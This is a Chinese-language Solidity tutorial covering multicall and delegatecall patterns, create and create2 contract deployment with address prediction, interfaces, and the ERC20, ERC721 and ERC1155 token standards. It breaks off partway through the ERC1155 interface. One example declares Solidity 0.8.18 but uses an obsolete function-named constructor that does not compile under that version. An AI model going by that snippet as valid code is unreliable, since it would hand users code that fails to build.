contract MultiCall { function multiCall(address[] calldata targets, bytes[] calldata data) external view returns (bytes[] memory) { require(targets.length == data.length, "targets.length != data.length"); bytes[] memory results = new bytes[](data.length); for (uint256 index = 0; index < targets.length; index++) { (bool success, bytes memory result) = targets[index].staticcall( data[index] ); require(success, "call faild"); results[index] = result; } return results; } }
MultiDelegatecall / 多次委托调用
为什么使用 MultiDelegatecall ,不使用 MultiCall?是为了让被调用的合约内,
msg.sender
是用户合约,而不是中转合约的地址。但是委托调用的缺点是,合约必须是自己编写的,不能是别人编写的。多次委托调用,存在漏洞,不要在里面多次累加余额。或者多重委托禁止接受资金。// SPDX-License-Identifier: MIT pragma solidity ^0.8.18; contract MultiDelegatecall { function multiDelegatecall(bytes[] calldata data) external returns (bytes[] memory) { bytes[] memory results = new bytes[](data.length); for (uint256 index = 0; index < data.length; index++) { (bool success, bytes memory result) = address(this).delegatecall( data[index] ); require(success, "call faild"); results[index] = result; } return results; } } contract Test is MultiDelegatecall { function fn1() external view returns ( uint256, address, uint256 ) { return (1, msg.sender, block.timestamp); } function fn2() external view returns ( uint256, address, uint256 ) { return (2, msg.sender, block.timestamp); } function getFn1Data() external pure returns (bytes memory) { // 两种签名方法都可以 // abi.encodeWithSignature("fn1()"); return abi.encodeWithSelector(this.fn1.selector); } function getFn2Data() external pure returns (bytes memory) { return abi.encodeWithSelector(this.fn2.selector); } }
合约部署合约
通过 new
创建合约 / create
使用关键字 new
可以创建一个新合约。待创建合约的完整代码必须事先知道,因此递归的创建依赖是不可能的。create
主要有以下三种表现形式。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract D {
uint x;
function D(uint a) payable {
x = a;
}
}
contract C {
// 1.将作为合约的一部分执行
D d = new D(4);
// 2.方法内创建
function createD1(uint arg) public {
D newD = new D(arg);
}
// 3.方法内创建,并转账
function createD2(uint arg, uint amount) public payable {
//随合约的创建发送 ether
D newD = (new D){value:amount}(arg);
}
}
如示例中所示,通过使用 value
选项创建 D
的实例时可以附带发送 Ether,但是不能限制 gas 的数量。 如果创建失败(可能因为栈溢出,或没有足够的余额或其他问题),会引发异常。
这种方式也被称为 Factory 创建。工厂合约部署,也被称为 create
,批量创建的时候使用,比如批量创建交易池,DeFi 类产品中批量创建借贷池等。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Account {
address public deployer;
address public owner;
constructor(address _owner) payable {
owner = _owner;
deployer = msg.sender;
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
contract AccountFactory {
Account[] public accounts;
function deploy(address _owner) external payable {
Account account = new Account{value: msg.value}(_owner);
accounts.push(account);
}
}
通过 salt
创建合约 / create2
在创建合约时,将根据创建合约的地址和每次创建合约交易时的 nonce
来计算合约的地址。如果你指定了一个可选的 salt
(一个 bytes32 值),那么合约创建将使用另一种机制(create2
)来生成新合约的地址:它将根据给定的 salt
,创建合约的字节码和构造函数参数来计算创建合约的地址。特别注意,这里不再使用 nonce
。
create2 的意义:可以在创建合约时提供更大的灵活性:你可以在创建新合约之前就推导出将要创建的合约地址。 甚至是还可以依赖此地址(即便它还不存在)来创建其他合约。一个主要用例场景是充当链下交互仲裁合约,仅在有争议时才需要创建。
案例演示 1
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract D {
uint256 public x;
constructor(uint256 a) {
x = a;
}
}
contract C {
function createDSalted(bytes32 salt, uint256 arg) public {
// 最新的语法
D d = new D{salt: salt}(arg);
// 之前的写法
// 这个复杂的表达式只是告诉我们,如何预先计算地址。
// 这里仅仅用来说明。 实际上,现在仅需要使用 `new D{salt: salt}(arg)` 即可.
address predictedAddress = address(
uint160(
uint256(
keccak256(
abi.encodePacked(
bytes1(0xff),
address(this),
salt,
keccak256(
abi.encodePacked(type(D).creationCode, arg)
)
)
)
)
)
);
require(address(d) == predictedAddress);
}
}
使用 create2
创建合约还有一些特别之处。 合约销毁后可以在同一地址重新创建。不过,即使创建字节码(creation bytecode)相同(这是要求,因为否则地址会发生变化),该新创建的合约也可能有不同的部署字节码(deployed bytecode)。 这是因为构造函数可以使用两次创建合约之间可能已更改的外部状态,并在存储合约时将其合并到部署字节码中。
小结
这种也被称为操作码部署,create
可以通过加入 salt,来预测即将生成的地址。这种创建就能预测生成地址的方式也被称为 create2
创建。
加 salt ,salt 决定了合约地址,不能重复使用
除非之前 salt 生成的合约被销毁了。
即将部署的合约地址计算
uint160
格式就是地址格式了
下面是两者的简短总结:
普通合约的地址生成方式: 部署者的
地址
+地址 nonce
预测合约地址的方式:
bytes32 hash = keccak256(
abi.encodePacked(
bytes1(0xff), // 固定字符串
address(this), // 当前工厂合约地址,固定写法
_salt, // salt
keccak256(bytecode) //部署合约的 bytecode
)
);
return address(uint160(uint256(hash)));
案例代码 2
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract DeployWithCreate2 {
address public deployer;
address public owner;
constructor(address _owner) payable {
owner = _owner;
deployer = msg.sender;
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
contract AccountFactory {
DeployWithCreate2[] public accounts;
function deploy(uint256 _salt) external payable {
DeployWithCreate2 account = new DeployWithCreate2{
salt: bytes32(_salt), // uint256 需要转为 bytes32
value: msg.value
}(msg.sender);
accounts.push(account);
}
// 获取即将部署的地址
function getAddress(bytes memory bytecode, uint256 _salt)
external
view
returns (address)
{
bytes32 hash = keccak256(
abi.encodePacked(
bytes1(0xff), // 固定字符串
address(this), // 当前工厂合约地址
_salt, // salt
keccak256(bytecode) //部署合约的 bytecode
)
);
return address(uint160(uint256(hash)));
}
// 获取合约的 bytecode
function getBytecode(address _owner) external pure returns (bytes memory) {
bytes memory bytecode = type(DeployWithCreate2).creationCode;
// 连接的参数使用 abi.encode
return abi.encodePacked(bytecode, abi.encode(_owner));
}
}
合约测试
address1
部署合约address1:
0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
使用
address1
作为参数,获取getBytecode
返回值。调用 getAddress
bytecode 参数是
getBytecode
返回值salt 参数是 1
计算结果是:
0x0022172A008CEdf60B1770dDD987888e5663D1Cc
调用 deploy,salt 参数是 1
调用 accounts[0]
返回的合约地址是
0x0022172A008CEdf60B1770dDD987888e5663D1Cc
,和计算的完全一样。
再次调用 deploy,salt 参数是 1
返回失败
transact to AccountFactory.deploy errored: VM error: revert.
用 assembly 做 create
create 部署
Proxy: 部署合约的方法,和修改 owner
Helper: 生成部署用的 bytecode 和修改 owner 的 data
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Test1 {
address public owner = msg.sender;
function setOwner(address _owner) public {
require(msg.sender == owner, "now owner");
owner = _owner;
}
}
contract Test2 {
address public owner = msg.sender;
uint256 public value = msg.value;
uint256 public x;
uint256 public y;
constructor(uint256 _x, uint256 _y) {
x = _x;
y = _y;
}
}
// contract Proxy {
// function depolyTest1() external {
// new Test1();
// }
// function depolyTest2() external payable {
// new Test2(1, 2);
// }
// }
// assembly 部署
contract Proxy {
event Depoly(address);
// fallback() external payable {}
function depoly(bytes memory _code)
external
payable
returns (address adds)
{
assembly {
// create(v,p,n);
// v 是 发送的ETH值
// p 是 内存中机器码开始的位置
// n 是 内存中机器码的大小
// msg.value 不能使用,需要用 callvalue()
adds := create(callvalue(), add(_code, 0x20), mload(_code))
}
require(adds != address(0), "Depoly Failed");
emit Depoly(adds);
}
// 跳用
function execute(address _target, bytes memory _data) external payable {
(bool success, ) = _target.call{value: msg.value}(_data);
require(success, "Failed");
}
}
contract Helper {
// 生成 type(contract).creationCode
function getBytescode1() external pure returns (bytes memory bytecode) {
bytecode = type(Test1).creationCode;
}
// 生成构造函数带有参数的 bytecode,参数连接后面就可以了
function getBytescode2(uint256 _x, uint256 _y)
external
pure
returns (bytes memory)
{
bytes memory bytecode = type(Test2).creationCode;
// abi 全局变量
return abi.encodePacked(bytecode, abi.encode(_x, _y));
}
// 调用合约方法的calldata,使用 abi.encodeWithSignature
function getCalldata(address _owner) external pure returns (bytes memory) {
return abi.encodeWithSignature("setOwner(address)", _owner);
}
}
测试部署
前提条件:部署 Helper 和 Proxy 合约。
通过 getBytescode1 ,获取 Test1 需要的 bytecode
部署 Test1
获取 Test1 合约地址
At Test1 Address
获取 Test1 owner 地址
通过 getCalldata ,获取 Test1 setOwner 需要的 bytecode。参数是想要设置的 Owner 地址。
执行 execute(),参数是 Test1 合约地址 和 getCalldata 返回值。
合约 2
通过 getBytescode2 ,获取 Test2 需要的 bytecode
部署 Test2,需要设置 x, y 的值,可以选择支付 ETH。
获取 Test2 合约地址
At Test2 Address
查看 Test2 的值
用 assembly 做 create2
UniswapV2Factory 的创建 pair 代码如下
function createPair(address tokenA, address tokenB) external returns (address pair) {
require(tokenA != tokenB, 'UniswapV2: IDENTICAL_ADDRESSES');
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2: ZERO_ADDRESS');
// single check is sufficient
require(getPair[token0][token1] == address(0), 'UniswapV2: PAIR_EXISTS');
bytes memory bytecode = type(UniswapV2Pair).creationCode;
bytes32 salt = keccak256(abi.encodePacked(token0, token1));
assembly {
pair := create2(0, add(bytecode, 32), mload(bytecode), salt)
}
IUniswapV2Pair(pair).initialize(token0, token1);
getPair[token0][token1] = pair;
getPair[token1][token0] = pair; // populate mapping in the reverse direction
allPairs.push(pair);
emit PairCreated(token0, token1, pair, allPairs.length);
}
创建合约的扩展
可以通过以太坊交易从外部或从 Solidity 合约内部创建合约。
一些集成开发环境,例如 Remix, 通过使用一些 UI 用户界面使创建合约的过程更加顺畅。 在以太坊上通过编程创建合约最好使用 JavaScript API web3.js。 现在,我们已经有了一个叫做 web3.eth.Contract
的方法能够更容易的创建合约。
创建合约时, 合约的构造函数 (一个用关键字 constructor 声明的函数)会执行一次。 构造函数是可选的。只允许有一个构造函数,这意味着不支持重载。构造函数执行完毕后,合约的最终代码将部署到区块链上。此代码包括所有公共和外部函数以及所有可以通过函数调用访问的函数。 部署的代码没有 包括构造函数代码或构造函数调用的内部函数。
在内部,构造函数参数在合约代码之后通过 ABI 编码 传递,但是如果你使用 web3.js 则不必关心这个问题。
问答题
通过
new
创建合约 /create
的方法1 将作为合约的一部分执行
D d = new D(4);
2 方法内创建
function createD(uint arg) public { D newD = new D(arg); }
2 方法内创建,并转账
function createD2(uint arg, uint amount) public payable { //随合约的创建发送 ether D newD = (new D){value:amount}(arg); }
create / create2 区别
在创建合约时,将根据创建合约的地址和每次创建合约交易时的
nonce
来计算合约的地址。如果你指定了一个可选的salt
(一个 bytes32 值),那么合约创建将使用另一种机制(create2
)来生成新合约的地址:它将根据给定的salt
,创建合约的字节码和构造函数参数来计算创建合约的地址。特别注意,这里不再使用nonce
。
create2 的意义
可以在创建合约时提供更大的灵活性:你可以在创建新合约之前就推导出将要创建的合约地址。甚至是还可以依赖此地址(即便它还不存在)来创建其他合约。一个主要用例场景是充当链下交互仲裁合约,仅在有争议时才需要创建。
create2 有什么需要注意的?
不能重复使用 salt
使用
create2
创建合约还有一些特别之处。 合约销毁后可以在同一地址重新创建。不过,即使创建字节码(creation bytecode)相同(这是要求,因为否则地址会发生变化),该新创建的合约也可能有不同的部署字节码(deployed bytecode)。 这是因为构造函数可以使用两次创建合约之间可能已更改的外部状态,并在存储合约时将其合并到部署字节码中。
如何预测 create2 合约地址
核心如下
bytes32 hash = keccak256( abi.encodePacked( bytes1(0xff), // 固定字符串 address(this), // 当前工厂合约地址,固定写法 _salt, // salt keccak256(bytecode) //部署合约的 bytecode ) ); return address(uint160(uint256(hash)));
精确写法
// SPDX-License-Identifier: MIT pragma solidity ^0.8.18; contract D { uint public x; constructor(uint a) { x = a; } } contract C { function createDSalted(bytes32 salt, uint arg) public { /// 这个复杂的表达式只是告诉我们,如何预先计算地址。 /// 这里仅仅用来说明。 /// 实际上,你仅仅需要 ``new D{salt: salt}(arg)``. address predictedAddress = address(uint160(uint(keccak256(abi.encodePacked( bytes1(0xff), // 固定字符串 address(this), // 当前工厂合约地址,固定写法 salt, // salt //部署合约的 bytecode keccak256(abi.encodePacked( type(D).creationCode, arg )) ))))); D d = new D{salt: salt}(arg); require(address(d) == predictedAddress); } }
interface:接口
很多时候,我们需要调用已经部署在链上的已经合约,这时候可以通过接口合约实现部分调用的逻辑,我们只需要写一个与之对应的接口合约,就可以调用了。
在 solidity 语言中,只要某个合约有和接口种相同的函数声明,就可以被此合约所接受。接口就是起到一个桥接的作用;类似手机的接口,只要匹配,可以进行充电,也可以进行听歌。
interface
类似于抽象合约 ,但它们不能实现任何功能。还有其他限制。 interface
内的函数被隐式标记为virtual
限制
无法实现任何功能,没有函数体。
无法定义构造函数。
无法定义状态变量。
无法定义结构(
strct
)(0.5.0
版本开始接口里可以支持声明enum
类型)。不可以声明修改器。
所有声明的函数必须是
external
的,尽管在合约里可以是 public文档说:将来可能会解除这里的某些限制。
⚠️ 注意: interface 可以基于别的 interface,可以继承其他合约。比如 interface IERC20Metadata is IERC20{}
,定义 IERC20Metadata
基于 IERC20
接口。
定义和使用
接口需要有 interface 关键字,并且内部只需要有函数的声明,不用实现。只要某合约中有和词接口相同的函数声明,就可以被此合约所接受。语法如下
interface 接口名{
函数声明;
}
接口基本上仅限于合约 ABI 可以表示的内容,并且 ABI 和接口之间的转换不应该丢失任何信息。
在下面的例子中,定义了 cat 合约以及 dog 合约。他们都有 eat 方法.以此他们都可以被上面的 animalEat 接口所接收。
使用例子
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Cat {
uint256 public age;
function eat() public returns (string memory) {
age++;
return "cat eat fish";
}
function sleep1() public pure returns (string memory) {
return "sleep1";
}
}
contract Dog {
uint256 public age;
function eat() public returns (string memory) {
age += 2;
return "dog miss you";
}
function sleep2() public pure returns (string memory) {
return "sleep2";
}
}
interface AnimalEat {
function eat() external returns (string memory);
}
contract Animal {
function test(address _addr) external returns (string memory) {
AnimalEat general = AnimalEat(_addr);
return general.eat();
}
}
测试流程:
部署 Cat 合约
部署 Dog 合约
部署 Animal 合约
调用
Animal.test
,参数是 Cat 合约地址返回
"string: cat eat fish"
在 Cat 合约内查看
age
返回的数字
调用
Animal.test
,参数是 Dog 合约地址返回
"string: dog miss you"
在 Dog 合约内查看
age
返回的数字
在合约 Animal 中,调用函数 test,如果传递的是部署的 Cat 的合约地址,那么我们在调用接口的 eat 方法时,实则调用了 Cat 合约的 eat 方法。 同理,如果传递的是部署的 Dog 的合约地址,那么我们在调用接口的 eat 方法时,实则调用了 dog 合约的 eat 方法。
隐式的标记为virtual
就像继承其他合约一样,合约可以继承接口。接口中的函数都会隐式的标记为
virtual
,意味着他们会被重写并不需要 override
关键字。
但是不表示重写(overriding)函数可以再次重写,仅仅当重写的函数标记为
virtual
才可以再次重写。
接口可以继承其他的接口,遵循同样继承规则。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
interface ParentA {
function test() external returns (uint256);
}
interface ParentB {
function test() external returns (uint256);
}
interface SubInterface is ParentA, ParentB {
// 必须重新定义 test 函数,以表示兼容父合约含义
function test() external override(ParentA, ParentB) returns (uint256);
}
全局属性 type(I).interfaceId
返回接口I
的 bytes4 类型的接口 ID,接口 ID 参考: EIP-165 定义的, 接口 ID 被定义为 XOR (异或) 接口内所有的函数的函数选择器(除继承的函数。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
interface ParentA {
function test() external returns (uint256);
}
contract Demo {
function interfaceId() public pure returns (bytes4) {
return type(ParentA).interfaceId;
}
}
ERC20 标准
标准
问题: 如何判断一个 Token 合约是否为标准的 ERC20 合约?
只要含有 ERC20 接口规定的所有内容,就算标准的 ERC20 合约。
至于方法内的逻辑是如何实现的,是不做判断。
详情参考: https://eips.ethereum.org/EIPS/eip-20
标准 ERC20 接口
3 个查询
balanceOf
: 查询指定地址的 Token 数量totalSupply
: 查询当前合约的 Token 总量allowance
: 查询指定地址对另外一个地址的剩余授权额度
2 个交易
transfer
: 从当前调用者地址发送指定数量的 Token 到指定地址。这是一个写入方法,所以还会抛出一个
Transfer
事件。
transferFrom
: 当向另外一个合约地址存款时,对方合约必须调用 transferFrom 才可以把 Token 拿到它自己的合约中。
2 个事件
Transfer
Approval
1 个授权
approve
: 授权指定地址可以操作调用者的最大 Token 数量。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
interface IERC20 {
// 1个授权
function approve(address spender, uint256 amount) external returns (bool);
// 2个事件
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(
address indexed owner,
address indexed spender,
uint256 amount
);
// 2个交易
function transfer(address recipient, uint256 amount)
external
returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
// 3个查询
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
}
ERC20 标准合约实现
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
interface IERC20 {
// 1个授权
function approve(address spender, uint256 amount) external returns (bool);
// 2个事件
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(
address indexed owner,
address indexed spender,
uint256 amount
);
// 2个交易
function transfer(address recipient, uint256 amount)
external
returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
// 3个查询
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
}
contract ERC20 is IERC20 {
// 状态变量
string public name;
string public symbol;
uint8 public immutable decimals;
address public immutable owner;
// uint256 public immutable totalSupply; // 不增加总量
uint256 public totalSupply; // 总价总量
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
// 函数修改器
modifier onlyOwner() {
require(msg.sender == owner, "not owner");
_;
}
// 构造函数
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals,
uint256 _totalSupply
) {
owner = msg.sender;
name = _name;
symbol = _symbol;
decimals = _decimals;
totalSupply = _totalSupply;
balanceOf[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
// 1个授权
function approve(address spender, uint256 amount) external returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
// 2个交易
function transfer(address recipient, uint256 amount)
external
returns (bool)
{
balanceOf[msg.sender] -= amount;
balanceOf[recipient] += amount;
emit Transfer(msg.sender, recipient, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
// msg.sender 也就是当前调用者,是被批准者
allowance[sender][msg.sender] -= amount;
balanceOf[sender] -= amount;
balanceOf[recipient] += amount;
emit Transfer(sender, recipient, amount);
return true;
}
// 1个铸币 - 非必须
function mint(uint256 amount) external onlyOwner returns (bool) {
totalSupply += amount;
balanceOf[msg.sender] += amount;
emit Transfer(address(0), msg.sender, amount);
return true;
}
// 1个销毁 - 非必须
function burn(uint256 amount) external returns (bool) {
totalSupply -= amount;
balanceOf[msg.sender] -= amount;
emit Transfer(msg.sender, address(0), amount);
return true;
}
// 转移 owner 权限等其他一些操作均是看各自业务,非必需的
}
ERC721 标准
参考资料:
https://eips.ethereum.org/EIPS/eip-721
https://ethereum.org/zh/developers/docs/standards/tokens/erc-721/
场景说明
非同质化代币(NFT)用于以唯一的方式标识某人或者某物。 此类型的代币可以被完美地用于出售下列物品的平台:收藏品、密钥、彩票、音乐会座位编号、体育比赛等。 这种类型的代币有着惊人的潜力,因此它需要一个适当的标准。ERC-721 就是为解决这个问题而来!
所有 NFTs 都有一个 uint256
变量,名为 tokenId
,所以对于任何 ERC-721 合约,这对值 contract address, tokenId
必须是全局唯一的。 也就是说,去中心化应用程序可以有一个“转换器”, 使用 tokenId 作为输入并输出一些很酷的事物图像,例如僵尸、武器、技能或神奇的小猫咪!
合约代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev ERC165 标准的接口 https://eips.ethereum.org/EIPS/eip-165
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified
*/
interface IERC165 {
/// @notice 查询合约是否实现接口
/// @param interfaceID ERC-165 中指定的接口标识符
/// @dev 接口标识在 ERC-165 中指定。此功能需要低于 30,000 gas。
/// @return 如果合约实现了 interfaceID 且 interfaceID 不是 0xffffffff,则为 true,否则为 false
function supportsInterface(bytes4 interfaceID) external view returns (bool);
}
/// @title ERC-721 Non-Fungible Token Standard
/// @dev See https://eips.ethereum.org/EIPS/eip-721
/// Note: the ERC-165 identifier for this interface is 0x80ac58cd.
interface IERC721 is IERC165 {
/**
@dev 当任何 NFT 的所有权通过任何形式发生变化时,需要触发该事件。
当 NFT 创建(`from` == 0)和销毁(`to` == 0)时会触发此事件。
例外情况:在合约创建期间,可以创建和分配任意数量的 NFT,而不会发出 Transfer。
在任何形式的资产转移时,该 NFT如果有批准地址将重置为无。
*/
event Transfer(
address indexed _from,
address indexed _to,
uint256 indexed _tokenId
);
/**
* 当 NFT 的批准地址被更改或重新确认时,它会发出。
* 零地址表示没有批准的地址。
* 当 Transfer 事件发出时,这也表明该 NFT 如果有批准地址被重置为无。
*/
event Approval(
address indexed _owner,
address indexed _approved,
uint256 indexed _tokenId
);
/// @dev 当为所有者启用或禁用操作员时,它会发出。 运营者可以管理所有者的所有 NFT。
event ApprovalForAll(
address indexed _owner,
address indexed _operator,
bool _approved
);
/// @notice 所有者的 NFT 数量
/// @dev 分配给零地址的 NFT 被认为是无效的,并且该函数抛出有关零地址的查询。
/// @param _owner 查询余额的地址
/// @return `_owner` 拥有的 NFT 数量,可能为零
function balanceOf(address _owner) external view returns (uint256);
/// @notice 找到 NFT 的所有者
/// @dev 分配给零地址的 NFT 被认为是无效的,并且对它们的查询确实会抛出异常。
/// @param _tokenId NFT 的标识符
/// @return NFT所有者的地址
function ownerOf(uint256 _tokenId) external view returns (address);
/// @notice 将 NFT 的所有权从一个地址转移到另一个地址
/// @dev Throws unless `msg.sender` is the current owner, an authorized
/// operator, or the approved address for this NFT. Throws if `_from` is
/// not the current owner. Throws if `_to` is the zero address. Throws if
/// `_tokenId` is not a valid NFT. When transfer is complete, this function
/// checks if `_to` is a smart contract (code size > 0). If so, it calls
/// `onERC721Received` on `_to` and throws if the return value is not
/// `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`.
/// @param _from NFT的当前所有者
/// @param _to 新 owner
/// @param _tokenId 转移的 NFT
/// @param data 没有指定格式的附加数据,在调用 _to 时发送
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes calldata data
) external payable;
/// @notice 将 NFT 的所有权从一个地址转移到另一个地址
/// @dev 这与具有额外数据参数的其他函数的工作方式相同,只是此函数只是将数据设置为“”。
/// @param _from NFT的当前所有者
/// @param _to 新 owner
/// @param _tokenId 转移的 NFT
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
) external payable;
/// @notice 转移 NFT 的所有权——调用者有责任确认 `_to` 能够接收 NFTS,否则它们可能会永久丢失
/// @dev Throws unless `msg.sender` is the current owner, an authorized
/// operator, or the approved address for this NFT. Throws if `_from` is
/// not the current owner. Throws if `_to` is the zero address. Throws if
/// `_tokenId` is not a valid NFT.
/// @param _from NFT的当前所有者
/// @param _to 新 owner
/// @param _tokenId 转移的 NFT
function transferFrom(
address _from,
address _to,
uint256 _tokenId
) external payable;
/// @notice 更改或重申 NFT 的批准地址
/// @dev The zero address indicates there is no approved address.
/// Throws unless `msg.sender` is the current NFT owner, or an authorized
/// operator of the current owner.
/// @param _approved 新批准的 NFT 控制器
/// @param _tokenId NFT 批准
function approve(address _approved, uint256 _tokenId) external payable;
/// @notice 启用或禁用对第三方(“操作员”)的批准以管理所有 `msg.sender` 的资产
/// @dev 发出 ApprovalForAll 事件。 合同必须允许每个所有者有多个操作员。
/// @param _operator 添加到授权运营商集中的地址
/// @param _approved 如果运营商获得批准,则为 True,如果撤消批准,则为 false
function setApprovalForAll(address _operator, bool _approved) external;
/// @notice 获取单个 NFT 的认可地址
/// @dev 如果 _tokenId 不是有效的 NFT,则抛出。
/// @param _tokenId NFT寻找批准的地址
/// @return 此 NFT 的批准地址,如果没有则为零地址
function getApproved(uint256 _tokenId) external view returns (address);
/// @notice 查询一个地址是否是另一个地址的授权操作员
/// @param _owner 拥有 NFT 的地址
/// @param _operator 代表所有者的地址
/// @return 如果 _operator 是 _owner 的批准运算符,则为真,否则为假
function isApprovedForAll(address _owner, address _operator)
external
view
returns (bool);
}
ERC1155 标准
参考资料:
https://eips.ethereum.org/EIPS/eip-1155
https://ethereum.org/zh/developers/docs/standards/tokens/erc-1155/
场景说明
用于多种代币管理的合约标准接口。单个部署的合约可以包括同质化代币、非同质化代币或其他配置(如半同质化代币)的任何组合。
它的目的很单纯,就是创建一个智能合约接口,可以代表和控制任何数量的同质化和非同质化代币类型。 这样一来,ERC-1155 代币就具有与 ERC-20 和 ERC-721 代币相同的功能,甚至可以同时使用这两者的功能。 而最重要的是,它能改善这两种标准的功能,使其更有效率,并纠正 ERC-20 和 ERC-721 标准上明显的实施错误。
合约代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev ERC165 标准的接口 https://eips.ethereum.org/EIPS/eip-165
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified
*/
interface IERC165 {
/// @notice 查询合约是否实现接口
/// @param interfaceID ERC-165 中指定的接口标识符
/// @dev 接口标识在 ERC-165 中指定。此功能需要低于 30,000 gas。
/// @return 如果合约实现了 interfaceID 且 interfaceID 不是 0xffffffff,则为 true,否则为 false
function supportsInterface(bytes4 interfaceID) external view returns (bool);
}
/**
@title ERC-1155 Multi Token Standard
@dev See https://eips.ethereum.org/EIPS/eip-1155
Note: The ERC-165 identifier for this interface is 0xd9b67a26.
*/
interface IERC1155 is IERC165 {
/**
@dev Either `TransferSingle` or `TransferBatch` MUST emit when tokens are transferred,
including zero value transfers as well as minting or burning (see "Safe Transfer Rules" section of the standard).
The `_operator` argument MUST be the address of an account/contract that is approved to make the transfer (SHOULD be msg.sender).
The `_from` argument MUST be the address of the holder whose balance is decreased.
The `_to` argument MUST be the address of the recipient whose balance is increased.
The `_id` argument MUST be the token type being transferred.
The `_value` argument MUST be the number of tokens the holder balance is decreased by and match what the recipient balance is increased by.
When minting/creating tokens, the `_from` argument MUST be set to `0x0` (i.e. zero address).
When burning/destroying tokens, the `_to` argument MUST be set to `0x0` (i.e. zero address).
*/
event TransferSingle(
address indexed _operator,
address indexed _from,
address indexed _to,
uint256 _id,
uint256 _value
);
/**
@dev Either `TransferSingle` or `TransferBatch` MUST emit when tokens are transferred,
including zero value transfers as well as minting or burning (see "Safe Transfer Rules" section of the standard).
The `_operator` argument MUST be the address of an account/contract that is approved to make the transfer (SHOULD be msg.sender).
The `_from` argument MUST be the address of the holder whose balance is decreased.
The `_to` argument MUST be the address of the recipient whose balance is increased.
The `_ids` argument MUST be the list of tokens being transferred.
The `_values` argument MUST be the list of number of tokens (matching the list and order of tokens specified in _ids)
the holder balance is decreased by and match what the recipient balance is increased by.
When minting/creating tokens, the `_from` argument MUST be set to `0x0` (i.e. zero address).
When burning/destroying tokens, the `_to` argument MUST be set to `0x0` (i.e. zero address).
*/
event TransferBatch(
address indexed _operator,
address indexed _from,
address indexed _to,
uint256[] _ids,
uint256[] _values
);
/**
@dev 必须在批准第二方/运营商地址管理所有者地址的所有令牌时启用或禁用(没有事件假定禁用)
*/
event ApprovalForAll(
address indexed _owner,
address indexed _operator,
bool _approved
);
/**
@dev 必须在为令牌 ID 更新 URI 时发出。
URI 在 RFC 3986 中定义。
URI 必须指向符合“ERC-1155 元数据 URI JSON 模式”的 JSON 文件。
*/
event URI(string _value, uint256 indexed _id);
/**
@notice Transfers `_value` amount of an `_id` from the `_from` address
to the `_to` address specified (with safety call).
@dev Caller must be approved to manage the tokens being transferred
out of the `_from` account (see "Approval" section of the standard).
MUST revert if `_to` is the zero address.
MUST revert if balance of holder for token `_id` is lower than the `_value` sent.
MUST revert on any other error.
MUST emit the `TransferSingle` event to reflect the balance change (see "Safe Transfer Rules" section of the standard).
After the above conditions are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so,
it MUST call `onERC1155Received` on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard).
@param _from Source address
@param _to Target address
@param _id ID of the token type
@param _value Transfer amount
@param _data Additional data with no specified format, MUST be sent unaltered in call to `onERC1155Received` on `_to`
*/
function safeTransferFrom(
address _from,
address _to,
uint256 _id,
uint256 _value,
bytes calldata _data
) external;
/**
@notice 将 `_ids` 的 `_values` 数量从 `_from` 地址转移到指定的 `_to` 地址(使用安全调用)。
@dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard).
MUST revert if `_to` is the zero address.
MUST revert if length of `_ids` is not the same as length of `_values`.
MUST revert if any of the balance(s) of the holder(s) for token(s) in `_ids` is lower than the respective amount(s) in `_values` sent to the recipient.
MUST revert on any other error.
MUST emit `TransferSingle` or `TransferBatch` event(s) such that all the balance changes are reflected (see "Safe Transfer Rules" section of the standard).
Balance changes and events MUST follow the ordering of the arrays (_ids[0]/_values[0] before _ids[1]/_values[1], etc).
After the above conditions for the transfer(s) in the batch are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so,
it MUST call the relevant `ERC1155TokenReceiver` hook(s) on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard).
@param _from Source address
@param _to Target address
@param _ids 每个令牌类型的 ID(顺序和长度必须匹配 _values 数组)
@param _values 每种代币类型的转账金额(顺序和长度必须匹配 _ids 数组)
@param _data 没有指定格式的额外数据,必须在调用 _to 上的 `ERC1155TokenReceiver` 钩子时原封不动地发送
*/
function safeBatchTransferFrom(
address _from,
address _to,
uint256[] calldata _ids,
uint256[] calldata _values,
bytes calldata _data
